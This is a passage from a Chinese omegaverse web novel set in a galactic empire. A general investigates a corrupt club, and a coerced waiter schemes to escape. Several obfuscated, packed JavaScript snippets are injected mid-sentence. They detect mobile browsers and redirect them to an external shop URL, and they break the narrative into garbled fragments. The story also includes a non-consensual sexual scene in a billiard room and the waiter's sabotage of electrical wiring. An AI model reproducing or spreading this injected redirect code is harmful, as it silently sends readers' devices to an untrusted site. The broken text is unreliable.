“还没提前向您道喜呢,顾上将。”皮克斯殷勤地笑道,“听说普罗米亚庄园里有数不尽的珍宝,曾轰动一时的帕勒神雕像也在那儿。”他煞有其事地说:“那可是件稀世珍宝,若是有机会您赏脸让我开开眼,我可就死也瞑目了。” 顾承砚不为所动,“普罗米亚庄园是莱特侯爵的产业,跟我有什么关系。” “瞧您说的,莱特侯爵已经死了,他手里的产业和财宝,只要您想,还不都是您的?”皮克斯直接把话挑明了,说完还虚伪地补充道:“嗨呀,您瞧我这张嘴,我这人就是说话做事直来直去,您别多想,我这都是真心话。” 顾承砚哼一声,弯腰击中一球。 “那樽神像可是个好东西呀,”皮克斯说得神乎其神,天花乱坠,充满神往,“传闻那是万年前凭空出现在宇宙中的神物,会自己选择主人,能够为主人带来数不尽的财富、权力。” “只是财富和权力?”顾承砚兴致缺缺,“如果有什么别的神力,我可能还真的感兴趣些。” 皮克斯试探地问:“那您对什么神力感兴趣?” 卫路还在试图和耿诺攀谈,两人说话不敢太大声,离得远又互相听不见,眼见着头都要凑一处了。 顾承砚往那处瞥了眼,很快收回视线,淡淡道:“比如,让人唯命是从的神力。” 皮克斯心头一跳,松了根弦。 “这不就巧了吗?”他笑吟吟地望着顾承砚,缓缓说出这句话,“帕勒神雕像还真有这神力。” 耿诺半只耳朵听到他们谈话,心想上流社会也信这种东西? “皮老板怎么知道是真的?诸如神佛本就是自由心证的东西,成为帕勒神的主人,你可真敢说。”说话的是顾承砚另一个下属,卫海。“就算是真的,恐怕也要付出不小的代价吧。” “我可没说是成为帕勒神的主人,我只是说成为神像的主人。”皮克斯话锋一转,“再说,作为平定十数次战乱的上将大人,帝国的安宁与和平可以说都是您赋予的。以您的身份地位,就算真要付出点什么,也是不值一提的。” 卫海:“神的主人和神像的主人,有什么区别?” “区别可大了。神像只是帕勒神降落人间的载介,并非神之本体,但神像因此由死物获得神力,现世人成为神像的主人,就可以代管神力,让其为自己所用。” “啪嗒”一声,顾承砚又进了一球,他收杆直起身,走到下一个击球点,“我还以为皮老板是信神的,没想到野心不小。” 再次瞄准后击球,这一杆未能进洞,轮到皮克斯的回合。 皮克斯大笑两声,走到桌前举起球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677858|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杆,“银河初历,便是人类叱咤宇宙的伊始,如今我们已经成为了银河系的主人,不远的将来,我们也会成为整个宇宙的主人。” “啪嗒”,球进洞。 “皮老板志向竟如此远大。” 皮克斯第二球没能进洞,又回到顾承砚的场合。 皮克斯将球杆立在身旁,摇摇头,“我只是说说大话而已,但顾上将您不一样,您是帝国最强的将领,有些东西在别人手里无法发挥作用,徒增浪费,但您可以。” 顾承砚问,“可以什么?” “成为宇宙的主人。”皮克斯笑眯眯恭敬地说,“从成为帕勒神像之主开始。” 顾承砚淡淡看他一眼,没有接话。 耿诺还是第一次听说帕勒神,他对历史文化常识的认知仅限于多年前耿父睡前抱着他讲述以“在银河纪元开始前”为开头的故事,银河纪元至今的则一窍不通。 但不妨碍他认为皮克斯说得很扯。 如果不是为了引诱顾承砚在俱乐部充值,那他们一定话中有话。 只是他听不懂罢了。 卫路听完两人的对话,暗暗咋舌,这皮克斯,或者说皮克斯背后的人,胆量和野心可真不小。 谁都知道顾承砚上将是陛下的人,皮克斯借帕勒神雕像的话题实际是在给顾上将戴高帽,暗示他才应该是帝国的主人。 简直把意图摊到明面上说了。 跟着上将这么多年,还第一次见到有人试图挑拨上将和皇帝的关系,也是第一次见到有人胆敢怂恿顾上将造反。 要知道,这些年来,顾承砚一路走来的军功,就是靠平定星际海盗和各个星球企图谋反叛乱的逆贼。 这回还真是见到新鲜的了。 但这和他们想查的服务生引诱高官富豪是两码事,没想到这小小的俱乐部隐藏的东西还不少。卫路眼珠子转了转,又瞄上了耿诺。 “你在这里一个月能赚多少?”卫路凑在耿诺耳边悄声问。 呼吸吹得耿诺耳朵有些痒,他皱眉躲开,卫路却不依不饶地跟着他,“有没有兴趣换个更好的工作,能赚更多的钱,还能接触到真正的上流社会?” “我可以帮你,只要你同我做个小小的交易。”卫路话里话外极尽暗示诱惑,他有些急切地想策反耿诺,让他为他们所用,就算他知道的东西有限,一个莽撞的新人也是个极好的替死鬼。 “你们这……”有没有什么特殊的业务? 卫路想用服务生消失的事试探一下他的口风,但耿诺眼中这人活脱脱是个精神病。 颠三倒四,满口胡言乱语。 高薪,上流社会。 我可去你的吧!老子现在这份工作就是被这种话术骗来的! 高薪,是叠加无数苛刻条件后的低可能性数值。上流社会,就是一群干着下流事的禽兽。 耿诺忿忿不已,高速运转的cpu突然宕机了。 但他恍惚觉得是自己灵光一闪,脑子中的弦突然接上了。 他好像明白卫路想干什么了。 说什么顾上将对他特别,能拿高薪,忽悠他做交易(要付出一点点代价),这几样组合起来不就是…… 诈骗、拐卖人口、嘎腰子的前兆! 靠,上流社会真尼玛肮脏! 他是……有时候会有那么一点不聪明,但是不代表他傻! 耿诺顿时看卫路的眼神都变了,合着跟皮克斯都是一丘之貉。 卫路不明所以,歪头朝耿诺友善地笑了笑。 你还色眯眯地看着我! 更很不爽,佯装思索一会儿,突然抬头也朝卫路笑了笑。 这一笑如春风拂面,让卫路晃了神。他突然真实意识到,这个Beta长相清秀,勾唇浅笑的模样又格外甜美,尤其他眼睛亮晶晶地注视你时,真能让人心脏为之一颤。 耿诺反客为主般凑近了些,卫路不自觉屏住了呼吸。 却听他笑吟吟问道: “你上司还没玩够我呢,这么早染指你上司的东西不太好吧?” 近在咫尺的面容与含笑的注视令卫路一瞬间没有反应过来他的话,实际上等着他的是耿诺瞄准他老二的一记重击。 然而就在此时,一颗球突然从两人眼前高速飞过,几乎擦着双方鼻尖,撞击到身后的墙上,一声“砰”响后,滚落地面。 耿诺吓了一跳,忙往旁边撤步,惊魂未定地扭过头,始作俑者顾承砚上将正用巧克粉擦球杆,听见动静也只是轻描淡写地朝这边瞥了眼,简单道了句: “手误。” 11. 第11章 手误。 精准的手误。 ……这显然不是普通的手误。 卫路心中暗讶,不知道怎么把上将惹毛了,赶紧装作无事去另一边待着。 耿诺敏锐察觉到顾承砚心情不好,防止触他霉头,也换个位置背对着众人默默扣墙皮。 两人一东一西站在屋内,总算八竿子打不着。 “顾上将,刚我说到哪儿了?对,您想要听话的,我们这边有得是,就算是不听话的小O小B,我也能给您调教得乖顺……” 这个小插曲并没有让任何人放在心上,一局过后,又开了一局,皮克斯吐沫星乱飞地投其所好,给顾上将介绍他们家Omega能有多听话。 可顾上将却表现得兴致缺缺,不再接话。 无人在意的角落,耿诺扣掉一块墙皮,瞄上了一旁的制冰机。他还缺个零件,这里面应该会有…… 可惜一直没找到机会下手。 也不知道一会儿他们打完能不能把自己忘在这儿。 屋里仍旧热闹,击球碰撞声与闲聊声充斥在耿诺耳畔,皮克斯谄媚的声音尤为突出。就在耿诺琢磨如何进一步降低自己的存在感时,顾承砚突然抬了些嗓音喊了声:“你。” 是在叫某个人。 这语气和那天他叫住自己简直别无二致。 屋内顿时静了下来,耿诺没觉得是在叫他,好奇地回头看这次是哪个倒霉蛋。结果一回头,遥遥对上顾承砚的双眼。 耿诺:“……” 不是吧,又我? 顾承砚眼中没什么情绪,“过来。” 耿诺抿了抿唇,认命走过去,脸色沉重如同就义。 这空档,顾承砚又进一杆,皮克斯眼神不住在二人之间来回打量。 “会打吗?”顾承砚直起身,把杆递到耿诺手里,“打一杆给我看看。” 耿诺接过长杆,眼中还留有三分茫然,诚实回答:“我不会。” 皮克斯当即接过话茬,“他既然不会,顾上将,我给您找个会的来。那个谁,对,你过来。” 被他指到的服务生笑逐颜开地贴过来,皮克斯殷勤地说:“顾上将,让他陪您打……” 顾承砚看也没看,对耿诺说:“我教你。” 皮克斯再次被打断,表情有些微妙。 顾承砚把耿诺拉到身前,胳膊稳稳将人圈住,固在怀中,手把手教他摆好姿势。顾承砚的胸膛几乎贴住耿诺的后背,Alpha偏高的体温让他忍不住瑟缩。 顾承砚皱眉轻斥:“别乱动。” 耿诺不敢动了。 顾承砚摆弄着耿诺,竟然颇有耐心地教他,“杆架在虎口,从这个角度瞄准,头低一些,不要缩脖子。”耿诺像一块年久失修的机械,稍一动弹各处关节就发出“嘎吱嘎吱”的怪响,整个人十分僵硬。 “啧。”顾承砚有些嫌弃,“怎么比床上还僵硬。” “……” 耿诺脸颊爆红,还好顾承砚说这话时声音比较小,旁边的人似乎都没听见。 但他身体更僵硬了,僵硬地按照要求摆好姿势,僵硬地计算碰撞角度,但杆拿到手里的实际感觉到底还是不一样的,更重要的是他的全部注意力都在提防身后这个Alpha的一举一动。 要不随便打一下敷衍过去? 顾承砚从高处盯着耿诺的发旋儿,自然能感受到掌心下的僵硬,他没说话,右手从耿诺胳膊上移开,冷不丁在他腰上捏了一把。 身下人瞬间倒抽一气,条件反射打了个激灵,眼中还带着几分震惊和委屈就要回头,不料顾承砚趁机抓着耿诺胳膊向前一送。 几声“啪”响,杆击中了球,球又互相撞击。 耿诺眼见着三颗球同时进洞,想要复盘刚才的击球路径,却仍有些晃神,嘴巴不自觉张成o形,震惊地回头看顾承砚。 顾承砚也在低头看他,神情依旧淡淡的,耿诺崇拜的目光让他很受用,较之刚才心情明显好了许多。 这一杆打得实在漂亮,周围人纷纷鼓掌,更有大胆的服务生拖着娇柔的嗓音暗示意味十足地凑过来:“顾上将,我也不会打,您能教教我吗?” 顾承砚没搭理那人,拍拍耿诺的屁股,“去下一个位置。” 他拍得太自然太顺手,让耿诺觉得自己但凡有点反应都是小题大作。 你大爷…… 在顾上将的悉心教导下,耿诺逐渐熟练掌握台球技能,不得不说,顾上将寡言少语冷心冷面的,不笑的时候就很吓人,笑起来更吓人,没想到教起人来倒是耐心。几轮下来,耿诺也回过味来,但凡皮克斯一开口,顾承砚就颇为耐心细致地指点他的动作不到位之处。 合着是不想搭理皮克斯,拿他当挡箭牌呢。 耿诺默默朝皮克斯看去,对方果然咬牙切齿,对上耿诺的目光更是毫不掩饰地瞪他。 关我屁事。 让皮克斯生气显然是耿诺乐意见成的,他开始主动向顾承砚请教,并时不时露出夸张的崇拜惊叹神色。 他发现每当这时,顾上将的心情就会更好一点。 傲慢的Alpha果然都喜欢被吹捧。耿诺默默地想,然后下一秒继续发出真诚的惊赞声。 总之就是让皮克斯插不上一句话。 下一球的位置有些远,耿诺试了几个角度都差些距离,有些踌躇地看向顾承砚。 他似乎没意识到,这样的眼神充斥着无意识地依赖,无形中讨好了顾上将。 顾承砚走上前,又拍了拍他的屁股,耿诺拿不准是让他腾地儿还是摆姿势,有些茫然地看着他。 顾承砚沉声低语道:“腿抬起来,架到桌上。” 耿诺不疑有他,依言照做。 很快他意识到不对。 余光瞥见顾承砚似乎挥了下手,其余人纷纷朝外走去,很快,屋内只剩下他们两人。 耿诺浑身僵住,丝毫不敢动弹,甚至不敢回头。 顾承砚的手仍暧昧地贴在他臀部。 紧绷的制服让架在桌面的腿感到束缚酸痛,耿诺想装作体力不支,悄悄把腿放下来。顾承砚似乎察觉到他的想法,手逐渐向下,滑到膝窝,宽厚的大掌近乎完整地环住他的腿,牢牢地扣在桌上。 这下,耿诺彻底收不回这条腿了。 “顾、顾上将……”耿诺难耐地回头,他不想在这里,屁股随即挨了一巴掌。 “刚教你的,”顾承砚强行按下他的腰,“往哪看?” 耿诺只好回过头,突然有重量覆上来,顾承砚几乎整个人压在耿诺身上。 两人独处时,顾上将的动作显然更过火些。 可他又好像在正儿八经帮他调整姿势。 瞄准球的方向摆好长杆,背上的重量便消失了,顾承砚直起身,耿诺却不敢动。 顾承砚:“这个角度进不了球,还差些。” 那要怎么办?耿诺惶然思索。 很快他就知道了。 顾承砚托住他另一边的腿,也架到了桌子上。现在耿诺完整地跪坐在桌面上了,两腿成M型,上身支撑不住,只能用胳膊勉强抵住桌面。 这个姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之所以这样认为,是他再次被翻了个面时,呜咽地求饶说了句“我错了”,没想到顾承砚竟然停下动作,追问他:“错哪儿了?” 我怎么知道错哪了,耿诺在心中咆哮,我没错! 实际却含泪望着顾承砚,抬腿勾住他的腰,环住他的脖子死死贴过去,破罐子破摔地嘤嘤哭道:“我哪都错了,呜呜顾上将,饶了我吧……” 也许是他认错态度太过敷衍,顾上将只顿了顿,又开始毫不留情地惩罚他。 过了许久,泪痕已经干在脸上,耿诺侧躺在凌乱的桌上,台球室只剩下他一个人,下半身几乎没有知觉,还在不自觉抽泣。 衣服烂得不成样,顾承砚临走前好心地留下了外套,虚虚地盖在他身上。 耿诺不知道他走了多久,也不知道还有多久会有人进来“清理现场”,他强撑着爬下来,踉跄走到制冰机跟前,扣开主板,找到自己想要的零件,又在屋里其他电路里动了点微妙的手脚。 制冰机开始滴水,耿诺裹着衣服颤颤巍巍地离开台球室。 或许一会儿台球室会通电起火,也许在那之前就有人进去收拾妥当,但不管怎样,比起小小的零件缺失,更引人注目的会是漏水漏电,至于为什么会这样…… 皮克斯总不会计较尊贵的客人玩些过火的play。 耿诺扶着墙,赤脚一瘸一拐地往回走,脚步缓慢。 原本他把宽大的黑色外套紧紧裹在身上,走了几步,索性又敞开些领口,故意歪斜着露出大片痕迹,遮不住的膝盖已经显露出青紫色,他就这么大摇大摆地从其他人身边走过,任谁看都知道他刚刚经历了什么。 这锅你就背着吧,顾上将。耿诺愤愤地想。 12. 第12章 下午听说顾上将带人离开了,不知道什么时候再来。这是这几天他们第一次离开,耿诺松了口气,他都要散架了。 但他总担心顾承砚就这样不回来了,上午听他们说话,似乎是在某方面没达成一致,顾承砚便拿他做借口几次三番无视皮克斯。 万一两人一拍两散,他可就彻底没倚仗了,能不能在波西男爵的宴会前逃跑真就看命了。 耿诺心中充满危机感,一下午都躲在屋里,借口休息,趁机整合手里的零部件,他还从顾承砚留下的外套里摸出一盒雪茄,烟草和木盒都有用处,于是耿诺冠冕堂皇地占为己有。 顾承砚回到宅邸,处理这几天搁置的工作。门口大片铃兰随风摇摆,娇弱的茎叶每次都似乎要被风折断,下一秒又乘着风直立起来。 像是绷直又蜷缩的白玉脚趾。 顾承砚看了一眼,随即收回视线。 管家带着下人出来迎接,弗兰率先飞到书房连接全部系统,打开光屏面板,将堆积的待办工作一一罗列出来,众人将书房作为临时办公区,有条不紊进行处理,管家适时地进来送上咖啡,将咖啡放在顾承砚手侧的时候,轻声说了句什么,顾承砚没做回应,管家便悄无声息地退出去了。一时间,书房中键盘敲击声不断,光屏闪烁的亮光照得人脸晦暗不明。 几个小时后,工作处理完毕。 “开个会。”顾承砚靠向椅背,一个极为放松的姿态。“谈谈收集到的有用信息,我知道你们已经迫不及待了。” 卫海、卫路、卫空这三人自少年起就跟在顾承砚身边,一路摸爬滚打,从人人唾弃的蝼蚁爬到今天这个位置,随便拉一个出来都是帝国相当出色的将领。 他们和顾承砚关系很好,是最忠心的得力干将,也是最能信任的挚友。 卫海道:“本以为皮克斯会像对待其他高官富商一样,献上一个美人来蛊惑上将,这些天一直在等着他会有什么样的计谋,但依照现实情况看,对方似乎无动于衷。” 卫路并不赞同,“不可掉以轻心,在我们警惕他却不以为然的瞬间,说不定就是他趁虚而入的时候。” 顾承砚兴致缺缺,“这么久没动静,的确让我有些失望。” 卫空提出质疑,“会不会是我们的搜查方向错了?” 众人看向他。 卫空分析道:“那天第一个靠近上将的Omega空有长相,手段低劣,大庭广众之下竟然试图给上将下药,我不认为他会是皮克斯精心安排的间谍。至于现在这个Beta……”他顿了顿,似乎有些犹豫,顾承砚颌首示意:“说。” “他的确是成功接近了上将,但我认为他能够接近显然意外大于故意,如果不是上将叫住了他……而且他和其他服务生不太一样,挺生涩的,我认为他也没有那种拿捏您的本事。皮克斯在台球室说的那些话,我怀疑并不是单纯给您戴高帽,至少,他们现在并没有危及您的打算,而是想要拉拢您。” 顾承砚抵着额角,“你说得有道理,也许好戏还在后面……” “不可放松警惕,但如果暂时查不到线索,不妨查查别的。” 说到这个,卫海接道:“我发现了一些端倪,莱特侯爵与狂鲨俱乐部之间应当存在千丝万缕的利益输送,当年皮克斯租下苏芒伯爵的这块地皮,就是莱特侯爵出面斡旋的。狂鲨多年屹立不倒,上流社会无人敢动,最根本的还是仰仗莱特侯爵这个最大靠山。”卫海递给顾承砚一份名单,“这是之前经常出入狂鲨的宾客名单。” 顾承砚接过,一目十行地扫下来,不少熟悉的名字,除了贵族就是些政要富商,确实有一定门槛。 “我们查到,有些服务生会作为礼物被献给这些客人,跟随他们离开俱乐部,但是这个名单上既有贵族,又有普通政要富商,如果按照之前的推测,有些说不过去。” 确实,如果是在政敌身旁安插间谍,总不至于把自己人也拖下水。 “所以这些''礼物''应当有别的用处。”顾承砚分析,“比如拿来享乐、且不用担心后续处理的玩具。” 他思考了一下,问:“这些服务生的下落呢?” 卫海神情严肃的摇摇头。 “查。”顾承砚下令,“查他们的身份,来源,和最终的去向。” “是。” “莱特侯爵涉足的业务可真不少。”顾承砚想到他的死状,轻嗤一声。 随后他说:“我们是带着达成合作的意图来的,皮克斯显然也有此意,但就目前的情况来看,我们想查的东西,和他示给我们的东西可以说截然相反。那么有两种可能。”顾承砚手指拨弄两下扶手,转而去掏衣服内袋,没摸到东西,这才想起外套留给某个服务生了,不动声色地收回手,两手交叉放在翘起的腿上。 “一,他不知道。二,他没有权限。” “不过他表面上的业务也够恶劣的,也不差多查这一件。” 众人瞬间明白顾承砚的意思,双管齐下。 “但是……”卫空有些迟疑地开口,“万一他们的目的不是合作,而且掌控上将您呢?” “鼓动您背叛陛下,若是依我们猜测,必然会用某种手段来让您失去神志,成为他们的傀儡……” “我们本来不就是为了查这件事吗?”顾承砚打断了他,“不然你以为我以身涉险真是去谈合作、享受服务的?” 卫空低头,“是我愚钝了。” “至于他们能不能做到……”顾承砚敛了神色,眉宇间有着不可一世的凌厉和张扬,“那就看有没有那个本事了。” 卫家三兄弟神色一凛,脑海中同时浮现一个人。 那个Beta服务生。 “还好那是个Beta。”卫路小声道。 卫海和卫空也这么想,Beta就意味着没有信息素,不会对Alpha产生任何影响。他们几个虽然很意外顾上将这次居然会允许一个Beta服务生近身,但也只是觉得是上将心血来潮的逢场作戏罢了。 这个Beta还能挡住皮克斯想送过来的那堆Omega。 就算他真的有什么地方吸引了上将,那也不算什么。 还不足以那种肮脏的手段对上将生效。 顾承砚最后交代几人:“既然皮克斯已经放出饵了,我们也要适当咬下钩,看看莱特侯爵手中的帕勒神雕像究竟能带来什么样的权欲。” 众人齐声:“遵命。” 顾承砚意有所指地对卫路说:“先不要打草惊蛇。” 卫路知道这是在说他试图主动接近耿诺的事,连忙应答:“是。” 临走时卫路凑到卫海跟前,小声道:“我说张管家还是……” 卫海示意他噤声,“毕竟是陛下安排的,上将没说什么就别管了,如果他真的手伸太长,那是再论不迟。” 等他们都离开,顾承砚独自坐在书房,端详面板上分门别类列出的各项线索,弗兰飞到他面前,用颇通人性的电子音询问:“顾上将,检测到近期您的情绪多有波动,心率有较大幅度变化,是否为您请家庭医生?”它顿了顿,“鉴于造成这种情况的本质原因是陛下交与的重任,我也可以向陛下申请宫廷医生来为您诊疗。” 弗兰绕着他转圈圈,顾承砚甚至可以从它的电子音中听出揶揄的成分。 “是我给你太多智能了吗?”顾承砚冷声问道,“是不是恢复出厂设置净化一下。” 言中之意饱含彻骨寒色,即使是作为机器也有种不寒而栗的感觉。弗兰瞬间降到桌面以下,装作自己不存在。 顾承砚继续工作,半晌,弗兰缓缓上升,从桌面边缘漏出三分之一的躯体,面板上露出小心觑视的豆豆眼,试探地“嘀嘀”两声,顾承砚一个眼神都没给,随手捞起烟灰缸就要砸过去,弗兰赶紧用正经电子音平铺直叙地告知: “顾上将,陛下请您明日一早进宫。” · 裴斯曼皇宫坐落于第五大道,自建成已有上万年的历史,见证了银河星系从联盟到联邦再到帝制的更迭。如今,这座建筑是帝国最高权力的象征。 顾承砚一早就进了皇宫,飞行器降落在中心广场前,看了眼时间,没去政务殿,而是直接去了内廷。 皇宫建成时间较早,部分设施建造时运用的科技还相当落后,很多都在经年日久中逐步更新换代。这意味着,皇宫一年到头总有几个月在大张旗鼓地翻修重建。 现在就是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“让他们去传!是谁在我去前线的前一天喝花酒,回来把我机甲给毁了?滚蛋!” 穆迩心说那不就是为了阻止你去前线嘛。但是他不能这么说,只能装傻扯到别的话题上,“怎么叫喝花酒呢,我就是去喝了几杯酒……” “我管你喝什么酒。”希洛一点面子也不给他,“走开!把我的机甲修好还回来,然后去找你的小相好吧!” 穆迩急了,“你怎么能这样,我哪有什么小相好!好好好,千错万错都是我的错,但这和出轨是两码事,你不能因为我喝醉了往你机甲里倒可乐就污蔑我出轨。” 修是修不好的,穆迩明面上第二天就让人拿去修了,但是因为零部件不匹配导致里面一个关键管道炸了,智能板烧了,现在想修都无从下手。 这回是真不小心,他到现在都还没敢给希洛说,只想先把人哄好了再循序渐进让他知道,不然火上浇油只会让他死得更惨。 要不是因为这事,他也不会忍着这么多天老老实实被拒之门外,换作之前,早就强闯进去抱着老婆撒泼打滚求原谅了。 殊不知,正是他的反常,希洛更加笃定了他出轨的事实。 喝得酩酊大醉回来,一身Omega的气味,还毁了他的机甲,甚至这些天一直在装蒜! 他老老实实求饶认错,不就是心虚吗! 穆迩奇冤无比。 “我真的只喝了酒,什么都没干!我发誓,我绝对没让任何一个Omega靠近我!”穆迩指天画地,“这不是在家你老不让我喝酒吗?哪有Alpha不应酬不喝酒的,人家给上的银河两万五,这谁忍得住……”声音越来越小。 希洛冷笑:“是啊,喝上头了顺便就搂个小Omega对吧。” 穆迩咆哮:“我没有!!” “我跟顾承砚他一起去的!他点的Omega,我喝的酒!他还搂着那小o亲嘴,噫——我的身上的味肯定是那时候染上的。我再说一遍我只喝了酒!什么都没干!” 顾承砚:“……?” 他眯起眼,从墙边站直。 13.第13章 希洛冷哼,“对,别人都点了,就你没点,你在旁边看着,你最洁身自好了。” 穆迩抬高了音量,“当然了!” 骗谁呢!希洛一点也不信他。 他现在懒得和他纠缠,只想把对方撵走,纠缠中无意间瞟到站在不远处的顾承砚。 穆迩顺着他的目光看去,连忙叫着让顾承砚过来替他作证。 顾承砚慢悠悠走过来,客气地喊了声皇后殿下,希洛看着他,礼貌地点点头,“顾上将。” 似乎也在等他的答案。 顾承砚十分记仇,耸耸肩,“我和服务生亲完就抱着去房间了,也不是一直和陛下在一起。” 穆迩听完脸都扭曲了,妈个巴子你个叛徒! 希洛面如寒冰,冷冷地瞪了穆迩一眼,穆迩还要上前解释,希洛已经先一步把门关上了。 “砰!” 穆迩差点撞到鼻子。 他指了指顾承砚,但现在没空和他计较。 他也有点恼了,“夫妻之间的信任呢?我说了我没出轨!你一点都不相信我!” “凭什么把我关外面,这也是我的寝宫,里面还有我的东西呢!” “咔嚓。”门又开了,里面飞出一个木乃伊牙缸,直直砸到穆迩的鼻子,顾承砚往旁边撤了半步,堪堪和牙刷擦肩而过。 穆迩捂着鼻子,看清砸到自己的东西后瞬间怒了。 “——这是咱俩的情侣款!你就这么把我的扔了?你怎么不扔你的金字塔?这不是你当初求着我换牙杯的时候了……嗷!” 一阵噼里啪啦,一堆锅碗瓢盆被接连扔出来,穆迩差点被砸晕。 顾承砚看着一个盆底印着血盆大口图案的脸盆,啧啧两声,不敢恭维皇帝陛下的猎奇审美。 穆迩骂骂咧咧爬起来,捡起脸盆又凑到门边,腆着脸说:“老婆你扔错了,这是你的洗脚盆。” 顾承砚:“……” 一条手臂从门内伸出来迅速把盆抽走,又扔出一个粉色HelloKitty脸盆。 顾承砚:“…………” 所以为什么帝国皇宫里还有这么质朴的生活用品。 他实在无法想象这对帝后每天躲在寝宫里打洗脚水的样子。 穆迩看着满地狼藉,好说歹说也没求得希洛心软,脸上十分无光,忍不住放了个狠话,“希洛,你不想和我过了吗?你这样把我推出去,就不怕我真被什么小妖精勾走?” 殿内没了动静,穆迩屏息以待,他也觉得自己话说得有些重,但他在赌希洛心软舍不得。 门开了,大敞着,穆迩松了口气,刚要上前,一床厚棉被飞了出来,穆迩眼前一黑,被砸的倒退了四五步。 “咣!”门又关死了。 穆迩看看被子,又看看紧闭的门,脸上的震惊难以掩饰,嘴巴张了几次都没发出声音。 半晌,他大吼:“这是我们结婚时候的囍被——!” “你怎么能把这个扔出来?!你想赶我走?你要跟我一刀两断吗?!”穆迩胸口不断起伏,眼眶肉眼可见地红了,“好!我走!你信不信我真的出轨给你看!” 穆迩抱着被子一步三回头,吼道:“咱俩走着瞧!” 帝后吵架,宫人早都跑远了。顾承砚微微叹口气,让弗兰收拾这一地狼藉,自己则出于人道主义帮忙端了个盆。 穆迩抱着厚重的被子哼哧哼哧回到隔壁空置的卡拉宫,顾承砚对这里也熟门熟路了,每次希洛把穆迩赶出来,穆迩都在这里住。 或者跑去顾承砚的上将宅邸找他喝酒。 穆迩小心翼翼的把那床囍被放到柜子里,失魂落魄地走来走去,深吸一口气,想让自己冷静下来,可伤感的情绪却愈发浓郁。 顾承砚掏了掏耳朵,心说要开始了。 ——他不爱我了。 “他不爱我了!”穆迩语气中透着崩溃。 ——他变了。 “他变了!他以前不是这样的!” 顾承砚心道从我认识你们起,皇后就是这个性子。 穆迩落寞地坐在门口的台阶上,擦了把眼泪。 还得有一句: ——他是不是移情别恋了? “顾承砚,你说他是不是移情别恋了,该不会还惦记着他的那个竹马吧?” “他的竹马不是你吗?”顾承砚问。 穆迩静默一秒,瞬间抬高音量,“我……我当然是他的竹马!” 但要说天降可能也算。 竹马vs天降,还不是看希洛心中谁的分量更重? 眼见着皇帝陛下又要陷入被老婆抛弃的惶恐之中,顾承砚连忙岔开话题,“对了,我来找你说正事,这几天在狂鲨俱乐部查出不少东西。” 穆迩转头幽怨地看着他。 “别这么看我,我可是替你深入敌营探查消息的。” “哼,我看你挺享受。” “分明是有献身精神。” “之前可没见你这么有''献身''精神。”穆迩撇撇嘴。 顾承砚没搭话,穆迩起身,两人准备去政务殿。 · 耿诺偷偷溜回宿舍睡了一觉,宿舍狭窄的小床可真比豪华套房里的大床舒服多了,耿诺在那张大床上就没睡过一个安稳觉,每晚都像在船舶上飘荡。 都要晕船了。 顾承砚直到第二天早上也没回来,难得的闲暇,还刚好轮到耿诺工作日轮休,虽然不能离开这里,但是终于能脱下这身羞耻的衣服,换上正经工作服了。 正经工作服就是他刚来的时候看到何飞穿的,燕尾西装搭配白衬衫,虽然西装外套也做了明显收腰效果,但到底比那只能遮一半身子的衣服强多了。 他在这里工作已经将近半个月了,几乎没有熟识的人,也就何飞愿意和他说话,其他人,尤其是Omega,对他都不太友善。 耿诺想方设法打探到一些消息,也收集了很多机械零件,但是依然没有十足的把握从这里逃出去。 别说十成,五成都没有。 耿诺把钱重新汇集起来拿到宿舍,数了几遍,是一笔很可观的数字。 顾上将似乎找到了打赏的乐趣,时不时就给他塞几张票子,有时候直接把他裤子扒了塞一叠,也不管具体有多少。 他极为喜欢看耿诺的各种反应。 逃又逃不掉,反抗又反抗不了,看在钱的份上,耿诺忍了。 他把钱全部塞在自己来的时候带的黑色布包里,这是他受尽欺辱换来的,一张都不能丢。 够给父亲用好几次医疗舱呢。 等他收拾好,宿舍突然传来敲门声,耿诺赶紧把包塞到床底,若无其事地过去开门。 是何飞。 自从陪在顾上将身边,耿诺见何飞的次数屈指可数,对方突然来找他,还有点惊讶。 “怎么了?”耿诺侧身让他进来。 何飞今天穿的也是燕尾服,看来也是工作日轮休。“天呀,不知道的还以为顾上将亲临你这小宿舍了呢。” 他一进门就被强大的Alpha气息熏得腿肚子直打哆嗦。 这就像是打在耿诺身上深深的烙印,时刻彰显着顾上将的存在感。 耿诺对此一无所知,迷茫道:“为什么这么说?” “还装傻,”何飞暧昧地睨了他一眼,“哦忘了你是Beta,闻不到。你可知道,你现在浑身上下都是顾上将的气息。”他托住脸颊,一脸痴迷艳羡,“好威武好气派哦。” 耿诺眼角抽搐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699591|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 